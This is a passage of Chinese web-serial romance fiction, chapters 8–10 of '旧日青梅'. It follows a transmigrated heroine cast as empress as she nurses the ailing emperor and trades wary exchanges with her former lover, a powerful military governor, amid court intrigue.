铜盆重重砸到了地上,郑珣抬眼就看到那边萧清维摇摇晃晃快要摔倒的样子,她顿时顾不得追忆往昔了,连忙冲过去扶住了人,却被萧清维的体温烫得心底一跳。 她刚才感觉到萧清维手指烫根本不是错觉! 这人本来病就没好,今日又大起大落的,不烧起来才怪。 “你等着,我去叫医官!” 郑珣把人扶到了帐内的矮榻上,把帕子拧了盖在额上,抬脚想要往外走,却不料被抓住了手,她走得太急,差点把人从榻上带下来。 只得急急忙忙回过身去重把人安置好,又伸手拉萧清维的手。 却不料萧清维握过来的手收得死紧,像是滚烫的铁钳箍在手腕上,郑珣掰了半天竟然没有掰开。 * 主帐大营外。 赵成卓因着迎驾时的那一幕受到冲击不小,很费了番功夫,才成功说服了自己:成大事者不拘小节,主公能屈能伸至此,是大大的好事。 然后就听沈朔一边往营帐内走,一边吩咐,“拿些伤药去,再带个医工去看看。” 他没说去哪,也没指名吩咐对象。 但那边沈周伯已经叉手行礼,利落地应了声,“是。” 赵成卓:“……” 他心都凉了半截,看看刚刚亲送圣驾回来的主将,又看看那边大步流星往伤兵营走的沈周伯,心道:你们沈家人都是怎么回事?! 说到沈家人,有一位人物便不得不提了。 赵成卓尝试旁敲侧击,“说起来,当年沈相之名名满天下,主公也是名门之后。” 沈朔淡淡地“嗯”了一声,却不想多聊此事。 他对这位祖父的感情很复杂。是这位祖父将沈家推上云巅,也同样是这位祖父一手将沈家拖入了泥潭。 他瞥了赵成卓一眼,扯开话题,“京中来信了吗?” “还未曾。” “让人给李翊修书一封,就说‘大军刚刚作战结束,士卒疲惫,需得原地休整些时日。再者往京城路途遥远,并汾军带着圣驾不好连夜赶路急行,不知何日能至,还请李相多担待些’。” 咦? 赵成卓正提笔欲记的动作一顿,眼神重又灵活起来。 听这“拿着天子要挟宰相”的熟练度,也不像是真的给大景朝尽忠效力啊? * 另一边,郑珣费了些功夫,终于掰开了萧清维死死钳过来的手,额上都见了虚汗,等她匆匆撩开帘帐时,却正和过来的人打了个照面。 一时之间两边都愣住了。 看着这熟悉的少年模样,郑珣差点以为自己见到了当年的沈朔。 却见那边少年怔了片刻,灿灿一笑,声音清亮地,“小二嫂。” “……十六郎?” 8.旧日青梅08 沈周伯身后还跟着个圆领褐袍的中年人。面色黑黄身上还沾着不明血渍,但据沈周伯介绍,这是个医工。 当真是来的一场及时雨。 郑珣也顾不上叙旧了,连忙把人带到帐中。 中年人被引到了榻前,上下打量了两眼榻上的人后就皱了眉,他转向郑沈二人,语气直白地,“某擅外伤接骨,并不精通内症。” 人是沈十六带来的,郑珣也下意识地看向他。 沈周伯也没想到自己正好赶上了这么一桩事。 这会儿见郑珣看他,倒是笑了,“军中恐怕找不出擅长内症的军医。” 所以言下之意,这位已经是最好的了? 郑珣对着侧边的军医深深揖礼,“还请先生费心。” 沈周伯被不轻不重地噎了下,默默把原本想说“不如你去求求我二兄”咽下去。 那位军医也不废话,见这边有了决定,就答应了一声,利落地上前一步跪坐到了榻边。 他先是翻了翻人的眼皮,又看过耳道口腔,然后才搭上了病人的脉搏。 沈周伯歪了一下头,就看见侧边神情紧绷、眸带担忧,当真是情真意切的郑珣。 他在心底无声地“哇”了一下,暗道:二兄估计会很生气。 二兄吩咐医工来,小二嫂却放着自己的伤势不管,挂心起情郎。 希望到时候二兄发脾气别牵连到他吧。 那边军医已经收回了按着脉搏的手,“惊劳伤气、热邪内闭、正气不支,以致高热郁内不得散、心神被热邪扰昏。军中药材有限,以茅根、竹茹、金银花,清水煎煮,温服,每日两剂,直至热气疏解。” 听起来就是生病未愈加上今日惊变累倒了,退了烧就好了。 郑珣谢过之后,把人送出了帐中。 那军医本就是临时被沈周伯从伤兵营拉过来的,这会儿被送了出来,连寒暄都没有,简单点了个头,就大步流星地往回走去,反倒是沈周伯没有立刻离开。 “小二嫂这边人手不足,我去拨两个亲卫来,方便你使唤。” 沈周伯琢磨着,他二兄待会儿肯定得过来,要是看见小二嫂亲自给那里头的人给煎药,估计得气死。 郑珣这会儿也回过神来,她觉得沈周伯的友善得不太正常。 郑珣和沈家的这个十六郎其实谈不上熟悉,当年沈十六就是沈朔身后的一个小跟屁虫,沈朔想要去找郑珣,少不了先甩掉这个黏人的小鬼头。 但再怎么小心,总有一两次没能甩开被他跟上来,郑珣才见到了对方。 沈十六倒也机灵,趁着他二兄生气之前先躲到郑珣身后,小正太抓着他的裙摆裙摆,仰着脸甜甜地叫“小二嫂”,让人一点脾气也发不出来,反正沈朔已经准备去拎人胖揍的手停下了。 后来郑珣纠正了几次都没能让人改过来,这个称呼就一直延续了下去。 郑珣怎么也没想到,居然现在还能听见他这么叫。 郑珣这迟疑间,沈周伯又招呼了一队路过的兵卒,吩咐了一连串的添置的东西,让人从仓库里搬过来,转头又向郑珣。 “我瞧着这些了,军中器物简陋,小二嫂将就着些,若有什么缺的,再来找我。去找我二兄也成,就是那边那个帐子。”沈周伯往大营中央的方向指了指,又道,“不过主帐里面常有人议事,人多往来又多数是粗人,冲撞了就不好了。” 要是之前安排亲卫或许还有部分监视的作用,但后面这些就完全没必要了。 沈十六态度真的好到诡异。 当年她和这小孩关系有这么好吗? 但想了想,她还是开口:“十六郎愿意顾念旧情,珣感激不尽。只是这称呼便作罢吧,不过是昔年的一些旧事,不提也罢。” 沈十六没事瞎叫,要是让沈朔听耳朵里,怕不是血压得跟着飚起来。 到时候不翻旧账也想起来翻旧账了。 沈周伯没点头,也没吭声,低头盯着郑珣看。当年抓着她裙摆的小屁孩已经长得比她还高了,和沈朔相似的五官更添了股莫名的压力。 郑珣被看了一会儿,就忍不住,“沈都尉?” 在“不听人话”这方面,沈十六大概是和他兄长一脉相承的,沈周伯仿佛没听见郑珣前一句话,兀自问:“小二嫂怎么知道我在军中任都尉?” ……系统告诉的。 答肯定不能这么回答,郑珣瞥了眼他的腰间银色方牌和身后的银饰横刀。军中各个等级官员均有相应制式,虽然节度使本身就是最大的僭越,常有不按规矩来的情况,但沈朔毕竟是名门出身,在这方面肯定比其他人讲究。 沈周伯也注意到郑珣的视线,低头看了眼又笑了。 “二兄说的不错,二嫂果然聪慧。”他屈指弹了弹饰银的刀镡,刀刃和鞘相撞,发出清脆的响声,“聪明人应该知道怎么做。” 郑珣:? 真对不住,她好像没那么聪明。 沈周伯倒是不吝于给提示,“许久不见小二嫂了,二兄甚是想念。” 郑珣:一见面就差点把她穿了糖葫芦的“想”吗? 郑珣当然不相信。 但她在皇宫里呆了这么久,早就习惯了“一句话拐八个弯”“话里有话”的说话方式了,这会儿也不觉得十六这话怎么样。 只是她确实没听明白沈十六的意思,“沈都尉是说?” 沈周伯扬了下眉。 他这个小二嫂是真的没听懂,还是不想懂? “小二嫂还是去见见我二兄、叙叙旧。”他抬头往帐子里看了眼,意有所指地,“就算是为了里头那个人。” 旁边有通传来禀报,沈周伯转过头答应了几句,半侧着身对郑珣,“言尽于此,该怎么做,小二嫂自行考量吧”,说完也不等郑珣回答,就挎着刀走了。 风吹得帐外铜铃叮铃作响,细碎的交谈声顺着缝隙传入帐中。 榻上躺着的人眼睫轻轻.颤了颤,似有醒过来的迹象,但身侧的手指虚握,苍白干裂的嘴唇来回张合了几次,却终究没什么声音都没有发出来,少顷侧边的手也失去了支撑滑落。 郑珣和沈十六聊了一通云里雾里的回来,就看见了萧清维一条胳膊从榻上垂落下来。 也不知道什么时候掉下来,多亏了人没翻下来。 她赶紧走过去给人扶回去,心下想着病号没个人守着果然不行。做完这一切后,又陷入沉思:沈十六刚才的意思是,让她去见见沈朔? * 郑珣最后还是选择相信沈十六。在交代过来的亲卫能照顾好昏迷的萧清维后,她去面见了沈朔。 两人见面后的气氛意外的很平和。 在郑珣谢过对方让沈十六帮萧清维请的医工后,帐内短暂地安静片刻,就在郑珣忍不住设想种种险恶的应对的时候,沈朔开口了,“既然陛下抱恙,当以养病为上,大军不宜此时开拔。还请殿下给京中去一封信,将此处情况如实道来。” 郑珣被请到主位,准备写信的时候还有点回不过神来。 就这么简单?沈朔叫她过来就是为了写一封信的? 桌上写信的麻纸都已经铺好,笔墨齐备,看起来对此早有准备。郑珣拿起旁边的墨锭,接着一圈一圈磨墨的动作,尝试着捋顺思绪。 这封信当然是写给如今在朝中主持大局的李翊的,也是沈朔未来的死对头。 沈朔想要入京握权,遇到的阻碍其实和连宦官都能拿捏的萧氏皇室没什么关系,他最大的对手是这位掌控朝堂李相。虽说沈家祖父也曾屹立朝堂,但是那都多少年的老黄历了,沈朔如今在帝都人生地不熟的,自然是趁着天子在手,在路上拖延的时间越久越好。 这么一说,萧清维这病倒是病得恰到好处。 不,也不能这么说…… 想着沈十六带来的医工,郑珣半是恍然,那医工去了一趟离开 ,萧清维就是没病,也得要病了。 想着榻上意识不清的青年,郑珣忍不住在心底重重地叹息一声。 唉!萧清维这“皇帝”当的,就没有过过一天的安生日子。 她敛下眸中的叹惋之色,略微打了一下腹稿,执笔落墨。 沈朔和李翊斗法,其实对萧清维有好处,起码现在沈朔必须牢牢护住萧清维。 于是赵成卓掀开帘帐准备进来的时候,就见主位上坐了一个相貌明艳的娇美女郎。 ……起猛了,大白天见鬼了! 赵成卓以为自己一大早见到沈朔给人牵马,今天不会再有什么事能震撼到他了,但却不包括眼前这一幕。他家主公把桌案让给了一位女郎,自己则是坐在旁边,手里拿着一份军报装模作样,眼神却连掩饰都不掩饰地落在人家身上。 主公看女郎没什么,将人带进主帐也无妨,把堆着军报公文的桌案让给对方都是小节。 但千不该万不该!那女郎不该是皇后! 赵成卓吸气呼气,最终还是选择放轻了动静落下帘帐,转身往外。 戍卫兵卒不解,“掌书记?” 赵成卓有气无力地摆摆手,“我突然想起来,我还有点事没办。” 他得去趟水边做个祓禊祛祛阴气,说不准就是被鬼迷了眼了。 赵成卓这么想着,但还没走出去几步,就撞见了大步流星往回走的沈周伯。瞧着方向,是刚刚巡完营,要去主帐复命的。 赵成卓连忙拦了一下,“主公现下正忙,沈都尉若无要事,还是不要去搅扰了。” “现在能有什么事?”沈周伯先是被拦得一愣,旋即眉目一凛,“张凤岐变卦了?想趁着这会儿捡漏子?!” 他说着,就要抬手拨开赵成卓,往主帐方向走。 赵成卓差点被推得踉跄,还是艰难地阻住了人。 “不、不是!是……是主公的私事。” 沈周伯拨人的动作顿了顿,似乎是短暂地思考了一下,很快目露了然,他不太意外地,“小二嫂去找我二兄了。” 赵成卓:……??? “你叫她‘小二嫂’?!” “昂。” 看着沈周伯那理直气壮的脸,赵成卓差点一口气没上来背过去,“那可是‘皇后’,天子之妻!” 沈周伯却反应平平。 他先是轻淡地嗤了一声,才慢吞吞地,“我二兄救他,他是‘天子’。若我二兄不救,他就是孤魂野鬼。” 赵成卓觉得自己先前以为“沈家兄弟的想当大景忠臣”的想法简直是白日生妄。 二人怕不是全身上下的骨头就没有一根是正着长! 他牙酸了半天,满肚子的话来回斟酌,最后开口的却是最皮毛的,“如今正是成事紧要之机,未免给主公惹麻烦,沈都尉还是莫要如此称呼了。” “哦。” 赵成卓还准备长篇大论,费些口舌说服人呢。沈周伯答应得这么痛快,反而把他整得有点不会了,一时诧异地看过去。 沈周伯:“我二兄说了,你说话不好听,脑子却很好使,多听听你的没坏处。” 善,知人纳谏乃明主。 赵成卓先是欣慰,旋即咂摸出来不对味了。 什么叫“说话不好听”?! 他可是常常吟诗作赋赞颂主公,有比他还善于媚上的谋士吗! 沈周伯却没听他再说话的意思,径直道:“掌书记可能不太了解我二兄。我二兄少年时得了一匹宝驹,亲自清洗照料、宝贵异常,旁人谁都不肯相让,但是有一人,他非但愿意给,还亲自教人上马、执缰带路。” 赵成卓:“……” 他并不很想知道那人是谁。 “我二兄从来不是怕麻烦的人。”对着赵成卓那张宛若便秘的脸,沈周伯倒是笑了,“所以比起劝我二兄别惹麻烦,掌书记最好还是想想怎么帮我二兄解决这个麻烦。” 9.旧日青梅09 因为和沈朔见面的气氛实在平和,郑珣一度将那个智障系统的推演抛到了脑后。 家族变故至此,沈朔心心念念的肯定只有报仇,矛头对准大景王朝,哪里还有空在乎一个前女友。她现在在沈朔那里,多半是个有着“皇后”符号的路人甲。 但郑珣很快就发现,自己还是乐观了。 沈朔或许没有像是系统指南里那样恨她,但也并不介意顺手给她找点麻烦。 就比如说现在—— 郑珣拿着笔的手腕都有点酸了,但是却不敢放下,旁边的目光存在感很强地落在她身上,监工的意思十分明显。 郑珣已经写到第八封信了! 这年头送信有很大的遗失风险,所以一些关键的信息多采用饱和式的送信法,多寄几封总有一份能送到的。但是再怎么样三封五封也够了,哪有写八封的?!真这么干了,沈朔手下那么多人也不用干别的,光当信使跑趟得了! 情绪一有起伏,手下的笔没控制住,在黄麻纸上印上一道漆黑的墨渍。墨迹易洇,私人信件上有增删添补的内容其实很正常,但是感觉到旁边随着她动作也停在这里的视线,郑珣觉得沈朔的意思可能是让她再写一张新的。 郑珣:“……” 士可杀不可辱!你还不如一刀给我个痛快!! 她默默地磨了下牙,干脆停了笔放在一边的笔搁上,姿态端庄地理了理袖子,又活动了一下面部肌肉,抬头扬起一个标准不过的假笑,“我以为这些便够了。再这么写下去,李相府上的门房怕是无暇迎客了,沈节度觉得呢?” 沈朔缓慢地动了动眼珠,盯得太久了,眼睛有些发涩。 过往的记忆片段不断地在脑海中闪现,搅得他无法集中注意力。他想起来了,想起来很多很多。初见时少女在长辈身后端正娴雅问好,眼神却灵动活泼,不期然对上视线,少女一怔后不躲不闪地露出个明丽的笑;上元拐着人去西市,满街热闹的烟火气,转身回眸,撞入了一双比长街灯火更绚烂的眸子;耐不住想念趁夜翻了郑家的墙头,窗扉被叩开,少女满面讶然,还不待为轻浮孟浪赔礼,眼前伸过来一只素白的手…… 沈朔记不起来自己多久没有想到这些旧事了,久到他几乎以为自己忘记了。 一幕幕画面像是刀子一样在脑海中撕扯着,可又如蜜般让人嗅到丝丝缕缕的甜香,偏偏这和着血锈气的香甜如此诱人上瘾,让他忍不住越想越多。在这样刻骨的疼痛中,他不由地露出一个笑来。 才刚刚笑完,就见案侧的人腰背越发挺直了。 坐姿也比刚才更端庄。 生气了。 她每次一恼,就会如此。坐得特别笔直,人也端正,笑得又好看。 ……得哄哄她。 思绪被脑中的画面扰乱成不连续的片段,沈朔艰难地想了会儿,才接上了刚才的话。 他清了清嗓子,发出一声低沉的应声。喉咙反倒因为这声轻咳痒了起来,他不由上下吞咽了一口,压抑着从血肉深处漫上的饥渴。 郑珣:? 她狐疑地看向沈朔,没从那张不动声色的脸上瞧出半点端倪,不由心底暗暗嗟叹果然变了。要是以前的沈朔,心思可好猜了,有点情绪就都写脸上了。 但不管怎样,对方不再为难她是好事。 郑珣也不再纠结沈朔的心思,洗了笔清理好余墨,把晾干了的信件放在一旁,抬头问:“沈节度还有别的事吗?” “有。” 就跟你客气客气,你还来真的啊? 人在屋檐下,郑珣心里再怎么吐槽,也只能憋屈地,“但请直言。” 沈朔想了想,“安温册伏诛,但其军中缴获的不少器物,都是宫中样式,品级不凡。若非陛下亲赐,便是此贼僭越行事,如今圣驾既已归位,这些东西也该物归原主了。” 郑珣:“还”东西? 这是准备打一棒子再给个甜枣么? 郑珣将信将疑地被沈朔带去看战利品,差点被金光灿灿闪瞎了眼。 安温册是冲着离开帝都去的,走的时候当然恨不得把宫中值钱的器物全打包带走,有领导带头,底下的禁军也有样学样,宫里头都被搜刮了个干净,这会儿一堆起来,看着便多了。 郑珣瞧了几眼就发现不对。 宫廷内的东西和外面样式明显不同,有几个箱子里的东西明显是宫外的。 她迟疑着看向沈朔。 总不会是他自掏腰包加的吧? 对上视线,沈朔又是恍惚。他能觉出自己从刚才开始就不太对劲,过往的碎片在脑海中不住翻腾,几乎将人扯到那旧日光阴,他又心知那一切是早该埋葬的美梦,待浮华退去,其下便是染着淋漓鲜血的刀兵。 虽这么想着,意识却有些不受自己控制,这会儿清凌凌的视线一睇,他不由自主地开口,“是张凤岐的赔罪。张节度使虽为贼人所胁,但到底与圣驾东迁有关联,他为此深感不安,夙夜难寐,备重礼以谢罪。” 郑珣:……这瞎话说得可真聋啊! 前些时日,这位张节度高高兴兴地将安温册迎进城中,可没什么不安心的。让他“夙夜难寐”的肯定不是绑了皇帝,而是绑了皇帝之后发现自己没有“挟天子令诸侯”的能耐,反而内外皆扰、引火烧身被兵临城下了。 可想而知,张凤岐这礼其实还是给沈朔的。 这么明显的借花献佛,沈朔这是在收买她吗?他想联合天子,对付李翊? 为了之后入京掌控朝堂,好像也说得通。 郑珣脑子杂七杂八地想着这些,眼神停留在前面一只镯子上。倒也没什么特别的意味,主要是那镯子比较突出,镯身很宽錾着珠纹,上面嵌的玛瑙宝石明显不是中原的风格,属于一堆橘子里面让人一眼就看到那瓣蒜。 “喜欢这个?” 郑珣好像听见沈朔这么问了一句,手突然被拉起来。 啪——! “……” “……” 死一样的寂静里,郑珣默默地收回了自己那掌心发红的手。 好好发着呆,突然被人拽了一下,她只是把对方的手拍开,没有扇人耳光,已经反应够冷静了。 说起来她要真的扇了人耳光,这会儿是不是已经落地成盒了哈哈(干笑)。 郑珣强忍着不要把脑回路往更糟糕的地方转,收拢到袖中的手攥了攥,干巴巴地,“多谢沈节度好意,但我与陛下此次得救,仰赖并汾军中诸多将士奔波劳苦,如今既已安稳,当犒赏大军,还烦请沈节度将这些东西赏赐下去,算是尽我与陛下的心意。” 沈朔没有说话。 脑海中的旧日画面堪堪拼凑起了少年光景,他身侧不知何时出现了一个镜像倒影。 是他却又不是,那还未识得愁滋味的少年模样。 而此刻,那镜像的影子遍布斑驳裂纹,殷红的鲜血从裂缝中渗出,那张少年意气的明亮面容顿时诡谲起来。 疼。 明明伤口在那道影子上,但他身上似乎也被划出了深可见骨的刀痕,一下一下撕扯着神经。 但疼才对。 沈朔盯着那个影子,眼神带着奇异的光亮。 他动了动唇,无声开口,[你听到了吗?她在为天子拉拢人心。她今日匆匆而来,本就是因着那人病重。她心心念念惦念的变成了别的人。过去了这么久,她早就忘了你。] 每落下一句,影子上的裂痕便深上一分。 有两道血痕恰在颊下,宛若斑驳血泪。 但那影子突然不再听了,狠狠地撞了过来,[你惹阿珣生气了,你该给她赔礼!] 恰逢另一个人的声音:“沈节度以为如何?” “好。” 这声应答极快,像是他的声音又似乎不是。 …… 郑珣原本被沈朔看得发毛,听到这声干脆的回答又觉得自己多想。 她又打量了眼沈朔,后者表情有点难看,但还是抬手招呼了一旁的士卒上前。 士卒早就听了先前的对话,这会儿上前时皆都脚步轻快,面带喜色。 郑珣见此,倒是稍稍放下心来。 钱财这些东西有用也没用,以沈朔的治军之严,底下的士卒不敢擅自违背军令,她也不可能像被挟持来的路上那样,私下里用金银和看守交易换些精贵吃喝。既然这样,还不如早点散出去,拉一拉群众好感度。 一箱一箱的财物被搬出去,剩下的便是摆 在桌上的小匣子。 箱中都是些布帛铜钱日常器物,而这些匣子里却是金银珠宝,便是赏下去也是赐给军中将领,士卒不敢擅自动。 郑珣瞧了几眼,忍不住轻轻地“咦?”了下。 她快步走到一个小匣子旁,抬手拨开旁边的金银钗环,露出了下面的一个小巧的金质印章。 郑珣可算知道那日萧清维用什么换了肉羹了。 是他自己的私印。 印玺乃是信物,非到万不得已不会拿去换,萧清维换出去这枚倒不是天子八宝的官玺(那些玺印也不在他手上)而是自己的书画私印。郑珣记得萧清维还挺看重这枚私印的,大约是比起那被强加来的天子身份,这枚私印在他心底才是更代表他身份的印章。 拿回去肯定是要拿回去的,但怎么开口是个问题。 郑珣还在斟酌字句,就觉一道阴影笼罩过来。 沈朔过来了,就站定在她的身后。 和刚才给人的轻松感觉不一样,这一次的气息带着沉沉的压迫感,郑珣后颈上霎时泛起了一层细密的鸡皮疙瘩。明明他已经卸去了夜间截击时着的甲胄,但是郑珣似乎仍旧能够感受到铠甲上冰凉的气息,鼻间恍惚萦绕来淡淡血腥气。 脑海中浮现出长槊贯穿而来的画面,郑珣有点僵硬。 智障系统在宿主保护上一向做得不错,但是那会儿槊锋擦着她过去的时候,系统居然没有一点反应。郑珣将原因归结为沈朔本人的特殊性。毕竟是穿书局回溯时空的奇点,有这种排面实属正常。 但这么一来,郑珣就忍不住胡思乱想起来。 如果按照这个现象做推测,她死在沈朔手里,是不是就要真的“死”一遍?这情况算工伤吧!这么大的事局里都不给提前说明吗?! 就在郑珣都要召唤系统痛斥工作安排不合理的时候,一条手臂从她身后伸来。 郑珣觉得自己要是只猫,这会儿浑身的毛都炸起来了。 沈朔却并未做什么。他一手伸到前面,另一只手按住了郑珣的左肩,就在郑珣满心都是左肩上的那只手、脑子都开始闪花式死法画面的时候,那只手又松开了。 髻上的发丝被轻轻扯动,头顶传来一点重量,熟悉摇曳感让郑珣意识到那是一只步摇。 沈朔从那匣子里拿了支步摇插到了她的头发上。 对着空气打了套军体拳的郑珣:……? 设想和现实差得太大,郑珣回身往后看时,表情还有点茫然。 发髻间的步摇摇摇曳曳,沈朔看着看着,心头突然轻快起来。 他侧边的手一拨,匣子的盖子便被阖上,“既然殿下喜欢,那就带走吧。” 要不是收手快差点被夹了手指头的郑珣:? 她从那张已经成熟许多的脸上看到了些分外熟悉的恶劣,这过分的熟悉让她在一瞬间做出了判断:沈朔果然是在故意找茬吧!不管是一开始的写信,还是这会儿的送东西,根本都是在有意“为难”。 有毒吧! 智障系统的那个垃圾指南上全是苦大仇深,以至于郑珣满脑子全是捅肾剌腰子的狗血复仇虐恋剧本么?脑补了一通有的没的,最后发现前男友好像是条只涨了年龄没涨智商的哈士奇,找茬手段数年如一日的小学鸡水平。 最后还是找过来的赵成卓打断了两人的对话。 和空气斗智斗勇了半天的郑珣只觉得心累,她端起标志性的假笑,“就不打扰沈节度议事了。” 沈朔没说话但也没阻拦,赵成卓见状恭恭敬敬地躬身下拜恭送凤驾,但转回身去就看见自家主公对着虚空中的某一点怔怔地出着神。 赵成卓:“主公?” 那幻象的影子也被这声音惊动,轻薄的少年脸上顿时染上了不耐,[我去找阿珣玩。] 他抬手摆了摆,步履轻快地追着那道背影而去,飞快地消失在了视野中。 沈朔发现自己竟然心生钦羡。 但那不是他,那是一个早就死了的“沈朔”。 沈朔抬手按了按眉心,收敛了神情,转头看过来:“何事?” 赵成卓:“……” 好家伙,对心上人和对谋士两张脸是吧?我还是不是你心尖尖上的伯谦了! 10.旧日青梅10 郑珣回来的时候,萧清维已经醒了。 他虚弱地靠坐在榻上,出着神不知道在想些什么,听到外面的行礼声才猝然惊醒,看到进来的郑珣先是面露惊喜,但那点高兴的神情在触及她发上的步摇后僵住。 郑珣没注意到这样细节的情绪变化。 看见萧清维这么虚弱还想要往外走,连忙上前把人按回了榻上,“当心摔了。” 而这么一会儿,萧清维已经敛下了面上的异色,神情重又恢复了温润柔和。 只是抓着郑珣的手握得比平常紧得多,有点神经质地轻.颤。 郑珣只当他是因为在病重,触觉感知不太灵敏故才如此,问:“现在感觉如何?好些了吗?” 萧清维刻意收起了视线,不往郑珣发间去看,但落下垂珠摇摇晃晃,不由地吸引了人的视线。他掐了一下自己的掌心,哑着嗓子,“好多了。” 郑珣又问了几句细节,萧清维一概说好,瞧着心不在焉的。 郑珣疑心他在遮掩病情,但又觉得自己不是医工,便是真有什么症状,萧清维说给她也没用,只能忧着心叹气,“军中医工不擅内症,若是能去天兴城中请——” 话未说完,手间握过来的力道陡然收紧,萧清维沉声:“不必!” 这难得加重的声音和郑珣吃疼得吸气的动静混在一起,简直像是一句呵斥。 郑珣被说得愣住了。 萧清维连忙松开了手。 他看起来像孩子般无措、神情几近仓皇,好半天才磕绊着解释,“我、我……没有那个意思。”他怎么会对瑶娘说重话呢?他怎么可能对瑶娘说重话呢? 郑珣回过神来,却没觉得有什么。 生病了,心情不好多正常啊! 控制情绪也是需要体力的,萧清维平时那泥人捏得似的好脾气才有问题。 想着,不由对着萧清维笑了笑,“我知道。” 不过这一下子倒是提醒了她,郑珣从怀里拿出了那个匣子,翻出了那枚金印递过去,“我给你把这枚印拿回来了。我记得你很喜欢它?” 萧清维怔住了。 他愣愣地看了会儿这枚金印,又抬眼看向目露期待之色的郑珣,张了张嘴却什么也没法说出来。 ‘不要为我做这些事。’ ‘它不重要,它一点儿也不重要。’ ‘它远不及你要紧。’ 但此时此刻,他却没办法说出其中任何一句话。 他怎么能在这时候说出这样的话呢?! 他恨不得将那金印扔了砸了,在对面人澈然又期待的视线下,却只能接过来,将之缓缓拢于袖中,涩声问:“他为难你了吗?” 郑珣被问得表情微妙了一下。 如果那种小学鸡的找茬也算是为难的话。好吧,那算是。 郑珣最后还是回答,“并未。” 话落,却被轻轻抱住了。滚烫的体温透过厚重的衣料透了过来,但是这个怀抱却非常轻柔,萧清维缓缓将头靠向了她的颈窝,在她的耳侧低低地,“瑶娘,我好难受。” 郑珣的第一反应当然是赶紧出去找医工,但是刚有动作,却被稳稳地抱在原地。 萧清维放软了语调,又重复着:“我好难受。” 看这手臂的力气可不像是那么虚弱的样子,郑珣后知后觉。 萧清维这是、在撒娇? 郑珣被他这难得软乎的反应萌到了。 要知道萧清维虽然待人温润,但是更倾向于礼节性的温和。郑珣有时候觉得他像是一块暖玉,触手柔和清暖,但是时日久了,就会发现里面是捂不热的石头。 现在戳开一看,什么石头?分明是溏心儿的! 虽说不太合时宜,但郑珣还是忍不住笑起来。她手落在萧清维的脊背上,像是撸猫似的,一下又一下地从肩膀处顺着脊骨往下一直落到腰间,复又抬起,循环往复,口中还不忘夹着声音软语询问,“哪里难受呀?”“这么抱着舒服吗?” 萧清维只给出了些模糊的并非回答的应声,发声的震动透过胸口传过来,简直就像是猫在打呼噜,郑珣的表情忍不住越发柔软下去。 而在她没有看见的身侧,萧清维需要费了全部力气才让这个拥抱不至于弄疼她。 侧边的手死死握住了拳头,金印深深嵌到掌心,上面的莲花纹几乎要贴到肉里,萧清维却不想让怀中人看到自己此刻的表情,那一定狰狞丑陋极了,像父皇、像皇兄、像裘淳、像安温册,像是每一个为了那枚玺印挖空心思的人。 但他想要了。 天子八宝,受命于天。 既然天不佑“子”,那何不若同鬼做交易? 萧清维低低敛下眸子。低垂的眼睫遮挡下,那双清润的眼睛像是蒙上的一层薄雾,乌蒙蒙的看不清神色。 * 郑珣察觉到沈十六拨过来的这几个亲兵,打仗或许还行,但大约很不擅长照顾人。 当保镖可能比当陪护来得靠谱得多。 但是即便如此,听到一声硬邦邦的“陛下,该喝药了”之后,郑珣还是忍不住心头一梗。 该庆幸他说的不是“大郎,该喝药了”吗? 按照之前崩掉的小世界线发展,萧清维就是死在了沈朔手上,虽说以郑珣观察到的沈朔的精神状况,他应当还不至于在现在就做出这种事,但是万一呢。这句“大郎喝药”,简直让人没什么也得多想三分。 郑珣忍不住上前一步,但是萧清维已经比她更先抬手接过药碗。 他倒是没急着喝,反倒是抬头看向眼前人,缓声开口,“诸位本是扈驾救难有功之士,如今却拘在朕身侧,做这些近身琐碎杂役,朕怎么忍心?” 因为尚在病中,他气息有些虚弱,但是吐字却十分清晰。 那递药来的士卒被说得一愣了,连忙跪地行礼,“属下不敢!节帅吩咐某等照顾陛下,这本就是某等分内之事。” 萧清维把药碗放在一边,起身亲自扶起了那士卒。 “我知晓沈节度忧心于朕身体,只是如君等勇猛之人乃是大景安身之本,该执戟持刀守卫宗庙,怎能空耗光阴于帷帐之中?我身边便是缺人侍奉,也只需一二近身内侍足矣,怎能让尔等壮士受委屈?还请壮士将此话转达沈节度,就道是朕深感恩义,但实在是于心不忍。” 那士卒哪里听过贵人说这样的话,还是本该世间最尊贵的天子,立刻就神色动容。但军令在此,他却不敢这么顺着萧清维的话离开。 不过稍后一些,这番话也确确实实将话原封不动地转到了沈朔帐中。 * 彼时主帐大营,赵成卓正在献策,“天下大乱必有因由, 当今皇嗣未立,国本悬空。主公回朝可立即请命,为宗庙万世之计,陛下当废中宫,更择淑德正位,速图诞育元良,早定太子,以安社稷。” 此次沈朔带兵入帝都,为了彰显朝堂局势更易,大权另握,沈朔必定要做点什么的。比起换官撤职,当然是换个皇帝最能昭告天下。只是沈朔毕竟是以“救驾”之名入京,若是再换帝王那未免受人指摘。 但换个皇后就不一样了! 这手段要柔缓得多。 当然这只是原因之一。 赵成卓是真担心,要是不换皇后,沈朔这“救驾”之名未彰,“秽乱宫闱”的名头先传出去了!!他可不想哪天出去吃茶,听到茶馆里大谈什么宫闱秘事、香.艳.情史! 想着,赵成卓说完了,立刻眼巴巴地看向上首。 办法可给您想出来了,还是一石二鸟的好计策。您可千万路上忍住了,别干什么多余的事! 沈朔被看得一哂。 他待阿珣,并非是那等欲念。 在赵成卓旁边,不知何时又现出一个少年人的影子。 他撩开着袍角手搭膝盖,姿态放肆地坐在案上,倏地转头朝着中年文士重重地“呸”了一声,语气不忿骂道:[你龌龊死了!] 沈朔:“……” 他抬手按了按额心,定睛再看时,那影子便不见了踪迹。 照顾萧清维的士卒就是这个时候来禀报的。 那人将萧清维的话有样学样原封不动地转达后,帐内顿时静了一瞬间。 那士卒不知道自己犯了什么忌讳,心下不安,连忙补充道:“属下并无推诿之意,愿奉将军之命照顾陛下。” 沈朔和赵成卓对视了一眼,淡淡开口,“既然这是陛下的意思,我等为臣的自当照做。你先下去吧。” 士卒扬声应了句“是”,倒着走了几步,快到帐门口才转身退了出去。 离开脚步十分轻快,看起来心情很好。 可是帐内的两人却大抵没有这么好的心情了。 赵成卓饮了一口酒,才重重地叹息了一声,“咱们这陛下,可真是个妙人啊。这收买人心的功夫,不可谓不令人惊叹。” 沈朔指出关键:“他想要宦官。” 赵成卓动作悠闲将酒杯放下,语气却幽幽的,“所以说他不简单。武宗献帝皆死于宦官之手,他本人也刚刚为宦官所掳,听说安温册请人离宫时的手段可不客气,可偏偏他敢在这个时候仍要宦官。” 